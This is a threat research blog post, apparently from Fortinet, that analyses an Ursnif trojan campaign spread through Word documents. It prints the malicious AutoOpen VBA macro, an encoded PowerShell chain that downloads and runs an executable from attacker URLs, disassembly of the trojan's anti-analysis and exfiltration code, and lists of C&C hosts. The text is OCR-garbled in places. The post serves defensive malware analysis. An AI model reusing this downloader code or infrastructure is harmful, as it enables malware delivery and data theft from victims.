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Breaking FortiGuard Labs Threat Research

NOTE: This threat is actively spreading. During my analysis, which started with just a few samples, the volume of captured
samples and the number of triggers this new variant set off in our global network of sensors kept growing. Because of this,

we highly recommend that organizations stay alert to this currently expanding threat.

Recently, FortiGuard Labs captured a number of Word documents from the wild, which were spreading a new variant of the

Ursnif trojan.

I did some research on this new variant, and in this blog I will present what it does on a victim’s machine and what kinds of
techniques it uses. Ursnif trojan, also known as Dreambot, Gozi, and ISFB, has been alive for years and focuses on stealing

information from a victim’s machine.
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Figure 1. The Word sample content

These infected Word documents contain malicious VBA code. In this campaign, the file names of the Word documents are in

the format: “info_[date].doc”. The sample in this analysis has the name info_07.25.doc.

When a victim opens the Word document, it displays a security warning message designed to protect MS Word users from
malicious macros (VBA code). However, the document content deceives victims to click the “Enable Content” button, as
shown in Figure 1. When the button is clicked, the malicious VBA code is executed because the code is in an AutoOpen sub

that is executed at opening the document.

The malicious code is simple, as shown below:
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Sub AutoOpen()
Set fPzzMCZTdBHCipC = ymwsrw
Set KiVsBKglbMn = fPzzMCZTdBHCipC.Controls
KKzPMDRPhZsJz = KiVsBKglbMn(2) + KiVsBKglbMn(0)
Set PhFMwPKBcLcsm = VBA.GetObject(KiVsBKglbMn(100 - 90 - 9).Text)
PhFMwPKBcLcsm.Run! KKzPMDRPhZsJz, 0 + 7596
End Sub

More code is read from three controls on the UserForm, named “ymwsrw”. It then puts PowerShell code from control’s text
property together and executes it. The code is PowerShell code. I show the code in Figure 2, where you can see how the

PowerShell code is transformed.

POWERSHELL -Enc

TAAGACAAL gA0ACcAbgBFAHC ATWArACcALOBPAETAIWARACcAagARAC sATWB 1AGMAAANACKATAAZAFMANQBTAF QAYABLAGBAY ALUAGKABWBEACAAQUEBPAEBAUABS AGAA
RQBEAHMALMBRAESAYABOACAAZAB 1AGY ADABBAFQAZQB GAFMAVABS AEUAQQE tAC gAlwB ZAHKAUWBBAGUABQAUAE KATWAUAE BARQBNAE SACGBZAHMAIAByAGUAQQB tAF A
WwBzAFKAUWBUAGUATQAUAEMATWBOAFYAZQBY AFQAXQAGADOAR gBSAGBATQBCAGEACWB1ADYANAB 2AHQAC gBpAGAARWACAC cAVABaAEQAZABUADQATQB 3AEYATQBYAGYA
VABMAHCAZgArAGBAQDBWAF 0ASWA2ADQAagAY AHC AQWB JAGMAYQBNAF 0AUWBFAHUAY gBOAGAASAB tAE s AagBKAF cAQuAZAF EARABKAGBASWAZAF IAZwB TAC8AbEB AHgA
MgBKAFMAWAB1AC s ALWBEAEBAUWBmAGAAZABAAF ¢ AMBKAEUAWAB3AHQAQQBRADIAZWBEAGEAbABUADgAOQBIAGEAQWE s AHLAVQBRAGOAZ gBBAHE AWABDAGOAIQBZAGEA
SgALAGAASQB1AEUAZWBUADAABWBKAHYACWBLAF cAYWBEAFMAMEB ] AHKASQB rADAAHQBAADQAUABGAGY AVWB T AGOAVEBUAEKANQBBAHUALWBVAHMAMZ S 1 AHQAZAAWAE TA
TABLAEUARWBQAEWASZBaAGLAWgBCAFAAJABWAHY ALB SAETAS gB2AF 0AUWBUAEGAAWALAE sAWgBQAF gANgBOAGIAQZBoAEWASWEVAHEAZABaADTASQBMADKAC EBWAGHA
20BoAGAARGBBAGMASQAJADEAZ gBPAHKANABTAGSAKQB AFYANABNAEUAWQB1AEgASABOADQANQAT AHOAMEBLAFQAZwB s AEUAdQBVAGKADWBWAEBARQBOADEASWBSAFEA
WgBSAFQAQQB2AGEACQABAGMANQBIADIAUABLAGBARABSAHMAQEB2AHYAbAB 1 AEoAc gBLAHOATWA3AF o ARABEAEMAeQAVAGEAZWBSAEBANgBSAGY AagBQAGMAQQB2AERA
CQBKAHIABABOAGSAQEBHAE cANABZAE GAaWBXADT AMBBAF cAQWBrAE c AVIWB sAEQAYWBGAE cAZwBaAEBA=ABOAF oAQQBEAGEARQBRAEYAZABZ AHoAa g BVAF EAUABYAHEA
MABDAEIAQBQAE0AYWBVADUAMZBpAGUAYWEVAHOACQAVAEAAMANWAGWANZBOAGCASQBKAF gAZgATAE CAMWBUAGMADQAVAF YAT gBRADQAaWBGAHEAJQAZAHQABWBEADCA
7gBsAEgALWBEAF cAUABUAF cAZQBBAHMANGB1AGE AeQBTAEWAMAA AHAAMABOAGA AbWB T ADQAe ABRAE 0 AMOBCAE gAdwAwAE4AdgBmAGY A gBDAE s AaABWADEADGBYAFYA
TeB3ADBAPQANACKATAASAF s AcwBZAHMAVABLAGRAL gBpAGBAL gBIAEBATQBWAF TAZQBTAHMAZQBPAE4AL gBDAGBADQBWAHIAZQB zAHMASQBPAEAATQBPAEQARQBAADOA
0gBEAELAQWBVAGBACABYAGUALWBTACAAKQBSACYAKAARAGYATWARAC c AbwBy AGUATWARAC cAYQBF AE gATwAp AHS ATAAMAC gATWBOAELAVAAEAGBAY gAnAC SATWBKAC A
KwAnAEUAYWBUAC cAKQAZACAASQBgAGEALgBEAFMAYABUAHTAZQBhAGBAUZBFAEEARABF AF IAKAAKAF BALABbAHMACQBTAFQAZQB tACAAVABF AHgAVAAUAEUAT B AGBA
ZABIAGAARWBAADOAOEBhAHMADWBPAGKAKDAZAHRAF AALACgATWBGAGBACgBFAGEATWAPAC cAQWANAC s ATWBTAC cAKQB7ACQAXWAUAHTAZQBhAGOAJABVAGUABEBKACEA
KQAZAHBATAAPACAAFAAUAC ZATWE JACCAKWANAEUATWAGAC SATAANAF gATWADAA==

i

( -("nEw'+' -0B"+"j"+"ect’) SYST em .io” .COMPR™E s5i0°N.deflATe  STREAm([syStem.I0.MEMOrYstredm]
[sYSTeM.COMVerT]: : FRoMBasebdstrinG( * TZDdT4MuFMXF T fuf+0ApZK647 2wl TcaMZSEubNmHmk j JWC30Ddok3RgS /ncx2dSXe
H+/DOSFndxW3dEXwtAQ2gDhln89HaClrUQj FLxXCjuYhISnIeEgTOoIvsKWcDS 2Ty IkEY 4P fWHJVTIVAUSos 2btdBRLKEGPLIZbZBPtpvR1BIvZSnHWEKZPX6NbBRLK
UxdZ21f9rplyhnFAcCI81f0y4HoY cV4gEYuHxN41522KTg1EulioVOENIKyQZy TAsaqdc SH2PeoDy sByvlblrKz07ZDDCy /hgROG6y fjPcAvOqIr LhkBVGAY kW2 3AZCKG
W1DcFGEZ0xNZAzaEQFdYzjUQPXqBCBiPIcU52ieclzy /NO@L16tEIdXFSG3Tem/ VNQdk jquetoA7T1H/ FWPTWeAs Zeay5L@8pXNnoldx( ] 1BHwEN T zCKhpluXWiw=="
) ,[sYsTem.ic.cOMpReSsiON.CompressIONMODE]: :DECompreSS ) |&("F'+'ore’+" acH"){ &("NEW-ob'+'1"+'EcT') i’o.” S TreamREADER(S_,
[sySTem.TExT.ENcodInG]::asCii) }|.("ForEa'+'C'+'H"){$_.readtoend() } ) |.('I'+'E" 4+ 'X")

i

$IyIpaks = ‘cmngVv'; $Upwpk=%env:userprofile+'\’ +$Iy[paKS+ .exe’;$o4f9Ud=.("'n"+"ew-0"+"bject’) Ne T  .Web CLieNT;
$vuRDOAzZC="htt :H 32 i hi 21= x1° .split(°%');foreach($IPpmaNil in $wvuRDOAzZC){try

{$o4foUd. +te +'m") $Upwphl).1ENGth -ge 2977) {[Diagnostics.Process]::STaRt
(FUpwphi) ; break)}}catch{}}, IEX(WfQUd Dan&aDStr‘Ing( http://189.196.164.79/3.php")};

Figure 2. Executing the PowerShell code

The first part is the original PowerShell code that the VBA code generates. As you can see, it is Base64 encoded (-Enc is
short for -EncodedCommand). After the code is Base64 decoded, the code is shown in the second part, which still contains
Base64 encoded data. It continues to decode the data, then decompresses it to get the final PowerShell code in the bottom

part of Figure 2.

Going through the final code, it then downloads a file from a URL (with a red underscore) into “$Env:UserProfile” folder
and eventually starts it by calling “[Diagnostics.Process]::STaRt($UpwpWW)”. Of course, results may vary as these

captured Word samples use many different URLs to download Ursnif.

Regardless, the downloaded executable file is a variant of Ursnif and the Word document sample is an Ursnif Downloader.
Start Downloaded Ursnif

By checking the downloaded file, we learned that it had been compiled on July 25M 2019. When it starts, it dumps several

dynamic code blocks into its memory and executes them. One among them is the main module that performs all Ursnif

work.
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@] File View Debug Plugins Options Window Help =[5>
T 0 N M e M 3 . i e e I e s e
00401743 BAa08 mov al, byte ptr [esi] * |Registers
00401745 83C6 01 add esi, 1 LIl Eax 000000101??“)
00401748| 897424 14 mav dword ptr [esp+ld]. esi ey TEneETE
8301 mav byte ptr [ecxl. al EDX 00000000
0040174E| 83C1 01 add ecxy, 1 EBY 00000006
00401751| 33FF %or edi, edi ESP 0012FDD8
00401753 894C24 18 mov dword ptr [espt18]. =cx EBF 00000000
00401 757 297094 10 00 _— Auemd vt [mewdtdAl 1 il EST 00406353 lweak3 m 00406353
pLSLUN ’ EDI 00000000 -
ds: [0160987B]=00
EIP 0040174C lweaks_m. 0040174C
EC 007 20L3s NIEEEEEEEE)

uueu.gs-auhz 94 10 DE 03 00 00 00 04 00 00 OO0 FF FF 00 O0|$E47...7... « -. .m 00400000 lweals_m. 004000C «
9. B

01609540 00 00 00 00 40 00 00 00 0O 0O 0D 0O besneen 0012FDDC| 004002ES|ASCII “JI”
D1E0SEE0 00 00 00 0000 00 00 Q0 00 00 00 00 00 00 00 Q0. ............... O012FDEO| O012FELC

OLECOECO00 00 00 OO0 00 00 00 00 00 00 00 00 00 01 00 Q0|......ovuuvnn 0012FDE4| 01609590

016095D0| OE 1F BA OF 00 B4 09 CD 21 B8 01 4C|CD 21 54 68| B2, ¥97L9Th 0012FDEZ| 00000000

DIGOYBEE0 69 T3 20 7072 6F 67 T2 61 6D 20 63 61 6E 6F 6F |is program canno OO1ZFDEC| 00406353 | lweak3 m. 0040635

D1G09EFO) 74 20 62 65 20 T2 75 BE 20 69 6E 20 44 4F 53 20|t be run in DOS 0012FDFO| 0160987B
D1E09E00) 6D 6F 64 65 ZE 0D 0D 04 24 00 00 00 c D012FDF4| 00000730
D1e09610)AD 28 C9 40 E9 49 AT 13 E9 49 AT 13 0012FDFE| 00000004
016096Z0)CE 8F DA 13 EB 49 AT 13 E0 31 24 13 0012FDFC| 00401177 |RETURN to lweaks
D1609630)E0 31 34 13/ED 49 A7 13 CE 8F CA 13 DOLZFEQQ] 0000010F
01609640 CE BF C9 13 EA 49 AT 13 E9 49 46 13 0012FE04| 01609590
D1G09ES0) 2A 46 FA 13 EA 49 AT 13 24 46 F8 13 0012FE0Z| 00000000
D1e09Ec0) 24 46 AB 13 EA 49 AT 13 CE 8F Dé 13 0012FEOC| O012FEGS
01609670)CE 8F DD 13|EB 49 A7 13 CE 8F DF 13 0012FE10| T69F5171 |kernel32. GetLong
01609620152 B3 63 68 E9 49 AT 13 00 00 00 00 — |D012FEL4| 00004444

01609650400 _00]00 00 4C 01 05 00 77 E3 EA 5C 0012FE18| 00000000 [
01609640000 00 00 OO EQ 00 02 21 OB 01 08 00 - | 0012FELC rEIOIEFEi!E -

M1 M2 M3 M4 Mg e |

| Star:1609ED7 End: 1609507 V ahue: 400

ESP EBDP NONE

Figure 3. Extracted Ursnif Main module

In Figure 3, the data portion of the malware shows the file header of the decompressed Main module. It’s a little tricky here
as it does not have DOS magic word “MZ” that should appear in the first red rectangle, nor the PE header magic word “PE”
that should be in the second rectangle. Ursnif removed these magic words to prevent its being identified, but Ursnif knows

how to load this module without them.

It continues to load every section from the PE structure into a newly allocated memory. It then repairs its relocation data and
imports API functions contained in an import table. When everything is ready, it calls the OEP (Entry Point) of the main

module. The process is just like what a packer does.

Anti-Analysis in Main Module of Ursnif

Ursnif uses some anti-analysis techniques to make it harder for it to be analyzed. For example, it hides some API functions,
which are parsed dynamically each time they are called so that static analysis is difficult; most data (in the “.bss” section of

PE structure) in the main module is encrypted, and only gets decrypted at runtime. Let’s take a look at the details.

Ursnif registers a vectored exception handler by calling the API RtlAddVectoredExceptionHandler, whose second parameter
points to the handler function. So, when it runs into any exception, the system will call this handler function first. Figure 4

shows the pseudo code for that.
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3lint sub_caB12()

nlf

S int vz Ff eaxii

6 int wi; /7 esi@l

7 int w2; ff eax@z

B int w3; /f eaxE3

9 int whj ff edigy

18

11 vl = sub_CB247(40);

12) w1 = vi;

13 if ( va )

14

15 *(_DUDRD *){uD + 28) = uv0 + 2u3
16 *(_DUWORD =)(vi + 24) = vl + 243
17 RtlInitializeCriticalSection{uvi);
18 w2 = T1lsAlloc{});

19 ®(_DWORD =)(ul + 36) = v2;
20 if ( w2 t= -1 && (u3 =|RtlAddUectoredExceptionHandler(1, exception_handler_fun)l (*(_DUORD *)(ul + 32) = v3) t= @) )
21 {

22 dword_CC2A0 = uil;

23 uh = B;

24 3

25 else

26 {

27 ul = GetLastError();

28 if ( ub )

29 sub_C1088(u1);

30 3

31| 3

32 else

33| ¢

ah uh = B;

35 3}

26 return uh;

T

Figure 4. Register exception handler function

Ursnif uses the exception handler function to decrypt the data in the “.bss” section. To do this, it modifies the memory-
protection option for the memory with the “.bss” section, where the encrypted data is in PAGE_NOACCESS (0x1).
Therefore, when Ursnif reads data in this area, the access violation exception (Exception Code C0000005) happens so that

the exception handler function gets called.

Figure 5 is a screenshot of when Ursnif has just decrypted the data in the “.bss” section. This section’s size is 1000H. Most

constant strings and API names are here, which are also used throughout Ursnif’s lifetime.

2 OllyICE - [*C.P.U” - main thread]
Efile View Debug Plugins Options Window Help

e 1 1 O N O 5 o o 5 =

000CEDEE| [push  ecx ~|Registers (FPU) <
000C806T | |and ebx, FFFFFO00 EA¥ D00CDCD4

000CEDED| |push 1000 ECX 00001000

000CBDTZ| |push ebx EDX 00000000

DODCEDTE) | mov eax, ebx EBX 000CDOO0 UNICODE “invalidcert”
L Bl ooocsess L ESP 0012F884

U an ora ptr Lesi B | EBP 0012F290

000CEDTE| |push  diordiptrl[EbpFa] ESI 01C48800

000CED81 | | Calll dword ptr [CBO9E] ntdll. Rt1LeaveCriticalSection [gEpI 00000001

00002087 | |mov eax, dword ptr [ebp+C]

0008024 | | pop edi EIP 000CSDTA

PQPC§E§§ pop l‘:fi -{C 0 ES 0023 32bit O(FFFFFFFE)

PO CS 001B 32bit O(FFFFFFFE)

A4 0 S5 0023 32bit O(FFFFFFFE)

i D00CDB82Z| ASCII “Softwars)\Ap) «
0012F888| 0012F1CR
0012F88C| 01C487D0
0012F890] 00000000
0012F894| Q0OCLDED|RETURN to 000C1DED
0012F2498| 01C48700
0012F24C| 00000000

000CDO00 |68 00 BE 00 76 00 &1 00 6C 00 69 00 6d
000CDO10| 65 00 72 00 25 44 2C 33 CB
000CDO20|B4 83 00 CO 3= Bl
0O0CDG30|C0 00 00 85 F4 50 30 BS
C1 2A BZ EA C1

000CD040|BB 82
5B AE OB 05 DF 02 00 00

000CDOB0 | A7
00OCDOB0| 0 0000 00 00 46 6F 00 T 00 65

Q00007072 @0 69 00 64 00 €5 00 6C 00 69 00 6E 0012F240| 00000001
000CDOB0| 00 25 30 38 B8 2D 25 30 34 58 ZD 26 0012F28A4| TEEFBZ3C|ntdll. TEEFE23C
000CD090 | 2D 34 58 2D 25 30 38 58 25 30 34 0012 D0ZZE4D0
000CDOAD |45 2 45 4C 33 32 2E 44 4C 4C 00 FF 0012F8AC| 0012F8DC

000CDOBO| BE
000OCDOCO| 34
0OOCDODO| TF 73 CF

0012F3B0| 0022E4D8
0012F2b4| T6E30BOS|RETURN to ntdll. T8l
0012FEBE| 0012F8C8 —

CF 11 BB 82 00 AA 00 BD CE 0B 11
18 A4 00 4B ZE 24 87
A4 00 4B ZE 24
co
0

D0OCDOED| 92 EE DO 4F D8 FD FF O012FSBC| 00000000
DOOCDOFO| FC E2 DO U vy AL | D012FEC0] 0012F980 hd
ML M2 M3 M4 Ms Command: | ESE EBP NOME

| 51artCDO0D End CDO0D Value: FEOES I

Figure 5. Part of decrypted “.bss” data

There are a number of key APIs hidden in the main module. When it needs to call an API, it just needs to call a function
named “API_Finder” to dynamically load the dll file that the API belongs to and find the API in it by calling LoadLibrary
and then GetProcAddress.
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The API names in the string are just from the decrypted “.bss” section in a structure with the strings and the offsets.
“API_Finder” can locate the API name by its offset. Here is the ASM code snippet when using API_Finder to get API
“CloseClipboard” from “User32.d11”.

000C9D27 sub_C9D27 proc near

000C9D27 mov eax, offset off_CC100

000C9D2C jmp $+5

000C9D31

000C9D31 loc_C9D31:

000C9D31 push ecx

000C9D32 push edx

000C9D33 push eax ; API function index

000C9D34 push offset dword_CB2F4 ; dll name, 0CB150-> "User32.dll"
000C9D39 call API_Finder ;It calls LoadLibrary and GetProcAddress. The API is in eax.
000C9D3E pop edx

000C9D3F pop ecx

000C9D40 jmp eax ; calls the API function

000C9D40 sub_C9D27 endp

“API_Finder” obtains the API function index (It’s 0xCC100 here) from its second argument, from which the “API_Finder”
can compute the offset of the string “CloseClipboard”. The first argument to “API_Finder” points to a structure with a

library name. The entry point of “CloseClipboard” is returned in “eax”, which is called at last.
Using a COM Instance to Send Data to the C&C

If you keep an eye on the process list in Task Manager when Ursnif runs, you will find that there are many “iexplore.exe”
processes that appear and disappear from time to time. And there is a lot of traffic out of “iexplorer.exe”. That is what
Ursnif does to send out collected data from the victim’s system. It does not directly create the process “iexplorer.exe”, but
COM (Component Object Model) does because Ursnif creates a COM instance by calling API “CoCreatelnstance”, which is
a hidden API function. This is the ASM code snippet of calling it.

[...]

seg000:000C3E0B jz  loc_C3E98

seg000:000C3E11 push esi

seg000:000C3E12 push offset rrid ; {EAB22AC1-30C1-11CF-A7EB-0000C05BAEOB}
seg000:000C3E17 push 4 ; dwClsContext

seg000:000C3E19 push 0 ; pUnkOuter

seg000:000C3E1B push offset rclsid ; {0002DF01-0000-0000-C000-000000000046}
seg000:000C3E20 call ds:CoCreatelnstance

seg000:000C3E26 test eax, eax
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[...]

The first argument is a GUID of “{0002DF01-0000-0000-C000-000000000046}”, which is the CLSID of “Internet
Explorer”. The fourth argument is an interface ID, “{EAB22AC1-30C1-11CF-A7EB-0000CO5BAEOB}”, which is an
interface of “IWebBrowser”. The COM object can also be created by the string ID “InternetExplorer.Application”.

The interface “IWebBrowser” implements a variety of methods to enable what you can do with the MS IE browser to access

web sites such as GoBack(), GoHome(), Navigate(), Refresh(), and so on. COM starts “iexplorer.exe” and later loads the

interface “IWebBrowser”, whose methods then are ready to be called. Navigate() method is used by Ursnif to send collected

data to its C&C server, whose first argument is a URL string.

Ursnif has compressed configuration data in the “.reloc” section of the main module. Decompressing it extracts the data

structure shown in Figure 6.

01EEB988
O1EEZ998

O1EEE9DE
O1ERE=E9ES
OlEES9F 8
DLEEZADES
O1lEEBALR
O1EESAZS
O1lEESAZR
O1lEEBA4SE
DO1EEBASS
D1EEEAGE

O1lEEBA9E
D1EESAAR
O1lEEBABE
O1BEESACSE
QO1EEEADE
C1EESAES
O1lEESAFS8
OlEESBOE
O1EEEB1 &

microso
f+. com update. mi
crosoft. com avas
t. com cdevinoucs
thrine. info =zcei
EDhouston. <lubk k
enovella. cluk. 33
B7.12. 10291023TS5
JUYNHG. 10, Z0. 0. <
onstitution. orgs
usdeclar. txt. Ox4
ebT7d2ca. com ru o
re. 10 Vil -2

Figure 6. Decompressed configuration data
At the bottom, you may notice the C&C host list includes "microsoft.com", "

"cdevinoucathrine.info",

update.microsoft.com",

non

avast.com",

zcei60houston.club" and "kenovella.club". This seems odd. Why are the hosts of “microsoft” and

“avast” listed here? In fact, this is a way to deceive researchers who capture and analyze the traffic.

000CO4F0

BOOC?4F0 loc COWFB: ; CODE XREF: sub_C9uDL+187]
008C94FB push eax

B0aCo4F1 push ds :dword_CCOBY 3387

BBBCoAF7 mov eax, ds:dword_CC018

000CP4FC push ds:dword_CCe2c ;12

0a0ces 2 bswap eax

B0aCoS5 B4 push eax

aencoses mov eax, ds:dword_CCO14

008C95 BA moy esi, ds:usprintfn

apacoes1a bsuap eax

aences12 push eax

0ances513 mov eax, ds:dword_CCo10

Bnoces18 bswap eax

aeacos1a push eax

a00cos18 moy eax, ds:dword_CCOOC

000Cco520 bswap  eax

aapces22 push eax

000ce523 push auuuzh

Aepces28 ush K]

a00Ce520 |push offset aSoft i ' soft=%utversion=gubuser=308x%08x%08x% 08 xtserver=Futid-Futcre=3x', 0|
000C952F pus [ehp+arg 9] T AdSC_BuF
@00Co532 call esi ; wsprintfa_

aaacosan add esp, 2Ch

aeacesar mov edi, eax

aeaces39 call Sub_C58AE 3 3s compute a time from this system starts.
BABCYSIE push eax

B88CY53F mov eax, [ebprarg_8]

000C95 42 add edi, eax

000Co54Y IEush offset_alptimel ; “&uptime=%u" |
8800549 push edi

000C954A call esi ; wsprintfA_

80ACI54C mov edi, ds:dword_CC384 ; ;;
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Figure 7. Format of collected information

A snippet of code in Figure 7 allowes Ursnif to format the collected information from victim’s system. One formatted string
looks like this:

soft=3&version=214082&user=0364812000299edcal18c7b9e8ed0ab6d&server=12&id=3387&crc=1&uptime=2193

e “soft” and “version” are constant.

e “user” is a sort of unique user ID. It consists of four DWORDs that were computed from a hash-code of the victim’s
User Name and Computer Name, as well as its CPU ID.

e “server” and “id” are from the decompressed configuration data. They are behind the host strings, 3387 and 12, in
Figure 6.

e “crc” is another constant of 1.

e “uptime” is a time value that tells the attacker the uptime since the victim’s system started.

Ursnif encodes the above strings using Base64, which will then be a part of a URL. Other than that, it replaces several bytes
with their hex strings in the encoded string. (For example: “+” becomes “_2B”, “/” becomes “_2F”.) After that, it inserts a

random number of “/” into it and adds a prefix “/images/” and suffix “.avi” to make the URL look normal.

Now, the collected data is almost ready to be sent to its C&C server. As I said before, there are six host strings in the
decompressed configuration. Ursnif picks one host string from them and makes a complete URL using the host and above
encoded string. It will be the first argument of the method "IWebBrowser.Navigate()". It picks the next host string after a 20

second wait. Below is an example of a URL, which will be sent to the C&C server.

hxxps://cdevinoucathrine.info/images/SZmbQhNDM/NRU9kkrJ9pgbhJOEILjX/GmdR4KRmigx7Vh8d_2B/e89HXjxRxOy7vuzb_2F10A
D3eZsE/D_2Fiv5c/ju_2Bs3XEZzWGZSfnBvVAvj/9xxBpMO3_2/BGf9ybUt5cslyUgIK/_2BnKRHLrDUUyi44DVzf/T.avi

This is a host list of C&C servers that I extracted from two variants:
hxxps://cdevinoucathrine.info

hxxps://zcei60houston.club

hxxps://kenovella.club

hxxps://z76johnson.club

hxxps://s75eagtyec.com

hxxps://s97pe2360.club

So far, these are all of my findings for this Ursnif variant. I will continue to monitor this campaign for more details.

Solution:

This malicious Word document has been detected as “VBA/Agent.A329!tr.dldr” by the FortiGuard AntiVirus service. The
CDR (Content Disarm & Reconstruction) feature in FortiGate and FortiMail can also neutralize this threat by removing all

malicious VBA code.

The downloaded file has been detected as “W32/Ursnif. AHSY!tr” by the FortiGuard AntiVirus service.

The URL used to download Ursnif has been rated as “Malicious Websites” by the FortiGuard WebFilter service.
IoC:

URL:
"hxxp://npkf32ymonica.com/sywo/fgoow.php?l=joow8.gx1"
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Sample SHA256:
info_07.25.doc:

AAA7758D75967D28847B3CB8A9B3E3032F31EC45D12C9904A7BC98C189726005

Downloaded executable file:
AACI9D2D21F634157EB8D3867A2C72042A83CABC3F0142B12763312F5A0B0A83A

Learn more about FortiGuard Labs and the FortiGuard Security Services portfolio. Sign up for our weekly FortiGuard
Threat Brief.

Read about the FortiGuard Security Rating Service, which provides security audits and best practices.

Source: https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html
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